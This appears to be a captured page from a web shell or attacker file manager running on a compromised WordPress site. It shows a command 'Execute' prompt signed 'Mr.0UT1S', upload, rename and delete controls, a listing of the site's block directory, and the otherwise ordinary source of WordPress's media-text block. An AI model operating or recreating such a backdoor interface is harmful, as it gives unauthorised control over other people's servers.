home
/
aioutajg
/
8171bispupdate.com
/
wp-includes
/
blocks
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] archives
N/A
[DIR] audio
N/A
[DIR] avatar
N/A
[DIR] block
N/A
[DIR] button
N/A
[DIR] buttons
N/A
[DIR] calendar
N/A
[DIR] categories
N/A
[DIR] code
N/A
[DIR] column
N/A
[DIR] columns
N/A
[DIR] comment-author-name
N/A
[DIR] comment-content
N/A
[DIR] comment-date
N/A
[DIR] comment-edit-link
N/A
[DIR] comment-reply-link
N/A
[DIR] comment-template
N/A
[DIR] comments
N/A
[DIR] comments-pagination
N/A
[DIR] comments-pagination-next
N/A
[DIR] comments-pagination-numbers
N/A
[DIR] comments-pagination-previous
N/A
[DIR] comments-title
N/A
[DIR] cover
N/A
[DIR] details
N/A
[DIR] embed
N/A
[DIR] file
N/A
[DIR] footnotes
N/A
[DIR] freeform
N/A
[DIR] gallery
N/A
[DIR] group
N/A
[DIR] heading
N/A
[DIR] home-link
N/A
[DIR] html
N/A
[DIR] image
N/A
[DIR] latest-comments
N/A
[DIR] latest-posts
N/A
[DIR] legacy-widget
N/A
[DIR] list
N/A
[DIR] list-item
N/A
[DIR] loginout
N/A
[DIR] media-text
N/A
[DIR] missing
N/A
[DIR] more
N/A
[DIR] navigation
N/A
[DIR] navigation-link
N/A
[DIR] navigation-submenu
N/A
[DIR] nextpage
N/A
[DIR] page-list
N/A
[DIR] page-list-item
N/A
[DIR] paragraph
N/A
[DIR] pattern
N/A
[DIR] post-author
N/A
[DIR] post-author-biography
N/A
[DIR] post-author-name
N/A
[DIR] post-comments-form
N/A
[DIR] post-content
N/A
[DIR] post-date
N/A
[DIR] post-excerpt
N/A
[DIR] post-featured-image
N/A
[DIR] post-navigation-link
N/A
[DIR] post-template
N/A
[DIR] post-terms
N/A
[DIR] post-title
N/A
[DIR] preformatted
N/A
[DIR] pullquote
N/A
[DIR] query
N/A
[DIR] query-no-results
N/A
[DIR] query-pagination
N/A
[DIR] query-pagination-next
N/A
[DIR] query-pagination-numbers
N/A
[DIR] query-pagination-previous
N/A
[DIR] query-title
N/A
[DIR] query-total
N/A
[DIR] quote
N/A
[DIR] read-more
N/A
[DIR] rss
N/A
[DIR] search
N/A
[DIR] separator
N/A
[DIR] shortcode
N/A
[DIR] site-logo
N/A
[DIR] site-tagline
N/A
[DIR] site-title
N/A
[DIR] social-link
N/A
[DIR] social-links
N/A
[DIR] spacer
N/A
[DIR] table
N/A
[DIR] tag-cloud
N/A
[DIR] template-part
N/A
[DIR] term-description
N/A
[DIR] text-columns
N/A
[DIR] verse
N/A
[DIR] video
N/A
[DIR] widget-group
N/A
archives.php
2.92 KB
Rename
Delete
avatar.php
5.61 KB
Rename
Delete
block.php
3.24 KB
Rename
Delete
blocks-json.php
189.40 KB
Rename
Delete
button.php
1.76 KB
Rename
Delete
calendar.php
5.93 KB
Rename
Delete
categories.php
3.92 KB
Rename
Delete
comment-author-name.php
2.08 KB
Rename
Delete
comment-content.php
2.40 KB
Rename
Delete
comment-date.php
1.82 KB
Rename
Delete
comment-edit-link.php
1.67 KB
Rename
Delete
comment-reply-link.php
2.03 KB
Rename
Delete
comment-template.php
4.39 KB
Rename
Delete
comments-pagination-next.php
1.88 KB
Rename
Delete
comments-pagination-numbers.php
1.59 KB
Rename
Delete
comments-pagination-previous.php
1.75 KB
Rename
Delete
comments-pagination.php
1.17 KB
Rename
Delete
comments-title.php
2.71 KB
Rename
Delete
comments.php
6.61 KB
Rename
Delete
cover.php
3.10 KB
Rename
Delete
file.php
1.75 KB
Rename
Delete
footnotes.php
3.68 KB
Rename
Delete
gallery.php
6.29 KB
Rename
Delete
heading.php
1.27 KB
Rename
Delete
home-link.php
5.31 KB
Rename
Delete
image.php
11.74 KB
Rename
Delete
index.php
4.99 KB
Rename
Delete
latest-comments.php
4.92 KB
Rename
Delete
latest-posts.php
8.34 KB
Rename
Delete
legacy-widget.php
3.90 KB
Rename
Delete
list.php
1.24 KB
Rename
Delete
loginout.php
1.38 KB
Rename
Delete
media-text.php
4.28 KB
Rename
Delete
navigation-link.php
13.59 KB
Rename
Delete
navigation-submenu.php
9.71 KB
Rename
Delete
navigation.php
48.46 KB
Rename
Delete
page-list-item.php
361 bytes
Rename
Delete
page-list.php
13.29 KB
Rename
Delete
pattern.php
1.75 KB
Rename
Delete
post-author-biography.php
1.49 KB
Rename
Delete
post-author-name.php
1.87 KB
Rename
Delete
post-author.php
2.63 KB
Rename
Delete
post-comments-form.php
2.74 KB
Rename
Delete
post-content.php
2.11 KB
Rename
Delete
post-date.php
3.05 KB
Rename
Delete
post-excerpt.php
3.37 KB
Rename
Delete
post-featured-image.php
9.14 KB
Rename
Delete
post-navigation-link.php
4.72 KB
Rename
Delete
post-template.php
5.61 KB
Rename
Delete
post-terms.php
3.55 KB
Rename
Delete
post-title.php
2.09 KB
Rename
Delete
query-no-results.php
1.80 KB
Rename
Delete
query-pagination-next.php
3.70 KB
Rename
Delete
query-pagination-numbers.php
4.66 KB
Rename
Delete
query-pagination-previous.php
3.50 KB
Rename
Delete
query-pagination.php
1.15 KB
Rename
Delete
query-title.php
2.05 KB
Rename
Delete
query-total.php
2.48 KB
Rename
Delete
query.php
5.56 KB
Rename
Delete
read-more.php
1.79 KB
Rename
Delete
require-dynamic-blocks.php
4.07 KB
Rename
Delete
require-static-blocks.php
501 bytes
Rename
Delete
rss.php
3.98 KB
Rename
Delete
search.php
22.48 KB
Rename
Delete
shortcode.php
735 bytes
Rename
Delete
site-logo.php
6.19 KB
Rename
Delete
site-tagline.php
1.17 KB
Rename
Delete
site-title.php
1.81 KB
Rename
Delete
social-link.php
63.65 KB
Rename
Delete
tag-cloud.php
1.55 KB
Rename
Delete
template-part.php
9.92 KB
Rename
Delete
term-description.php
1.30 KB
Rename
Delete
widget-group.php
2.38 KB
Rename
Delete
<?php /** * Server-side rendering of the `core/media-text` block. * * @package WordPress */ /** * Renders the `core/media-text` block on server. * * @since 6.6.0 * * @param array $attributes The block attributes. * @param string $content The block rendered content. * * @return string Returns the Media & Text block markup, if useFeaturedImage is true. */ function render_block_core_media_text( $attributes, $content ) { if ( false === $attributes['useFeaturedImage'] ) { return $content; } if ( in_the_loop() ) { update_post_thumbnail_cache(); } $current_featured_image = get_the_post_thumbnail_url(); if ( ! $current_featured_image ) { return $content; } $has_media_on_right = isset( $attributes['mediaPosition'] ) && 'right' === $attributes['mediaPosition']; $image_fill = isset( $attributes['imageFill'] ) && $attributes['imageFill']; $focal_point = isset( $attributes['focalPoint'] ) ? round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%' : '50% 50%'; $unique_id = 'wp-block-media-text__media-' . wp_unique_id(); $block_tag_processor = new WP_HTML_Tag_Processor( $content ); $block_query = array( 'tag_name' => 'div', 'class_name' => 'wp-block-media-text', ); while ( $block_tag_processor->next_tag( $block_query ) ) { if ( $image_fill ) { // The markup below does not work with the deprecated `is-image-fill` class. $block_tag_processor->remove_class( 'is-image-fill' ); $block_tag_processor->add_class( 'is-image-fill-element' ); } } $content = $block_tag_processor->get_updated_html(); $media_tag_processor = new WP_HTML_Tag_Processor( $content ); $wrapping_figure_query = array( 'tag_name' => 'figure', 'class_name' => 'wp-block-media-text__media', ); if ( $has_media_on_right ) { // Loop through all the figure tags and set a bookmark on the last figure tag. while ( $media_tag_processor->next_tag( $wrapping_figure_query ) ) { $media_tag_processor->set_bookmark( 'last_figure' ); } if ( $media_tag_processor->has_bookmark( 'last_figure' ) ) { $media_tag_processor->seek( 'last_figure' ); // Insert a unique ID to identify the figure tag. $media_tag_processor->set_attribute( 'id', $unique_id ); } } else { if ( $media_tag_processor->next_tag( $wrapping_figure_query ) ) { // Insert a unique ID to identify the figure tag. $media_tag_processor->set_attribute( 'id', $unique_id ); } } $content = $media_tag_processor->get_updated_html(); // Add the image tag inside the figure tag, and update the image attributes // in order to display the featured image. $media_size_slug = isset( $attributes['mediaSizeSlug'] ) ? $attributes['mediaSizeSlug'] : 'full'; $image_tag = '<img class="wp-block-media-text__featured_image">'; $content = preg_replace( '/(<figure\s+id="' . preg_quote( $unique_id, '/' ) . '"\s+class="wp-block-media-text__media"\s*>)/', '$1' . $image_tag, $content ); $image_tag_processor = new WP_HTML_Tag_Processor( $content ); if ( $image_tag_processor->next_tag( array( 'tag_name' => 'figure', 'id' => $unique_id, ) ) ) { // The ID is only used to ensure that the correct figure tag is selected, // and can now be removed. $image_tag_processor->remove_attribute( 'id' ); if ( $image_tag_processor->next_tag( array( 'tag_name' => 'img', 'class_name' => 'wp-block-media-text__featured_image', ) ) ) { $image_tag_processor->set_attribute( 'src', esc_url( $current_featured_image ) ); $image_tag_processor->set_attribute( 'class', 'wp-image-' . get_post_thumbnail_id() . ' size-' . $media_size_slug ); $image_tag_processor->set_attribute( 'alt', trim( strip_tags( get_post_meta( get_post_thumbnail_id(), '_wp_attachment_image_alt', true ) ) ) ); if ( $image_fill ) { $image_tag_processor->set_attribute( 'style', 'object-position:' . $focal_point . ';' ); } $content = $image_tag_processor->get_updated_html(); } } return $content; } /** * Registers the `core/media-text` block renderer on server. * * @since 6.6.0 */ function register_block_core_media_text() { register_block_type_from_metadata( __DIR__ . '/media-text', array( 'render_callback' => 'render_block_core_media_text', ) ); } add_action( 'init', 'register_block_core_media_text' );
Save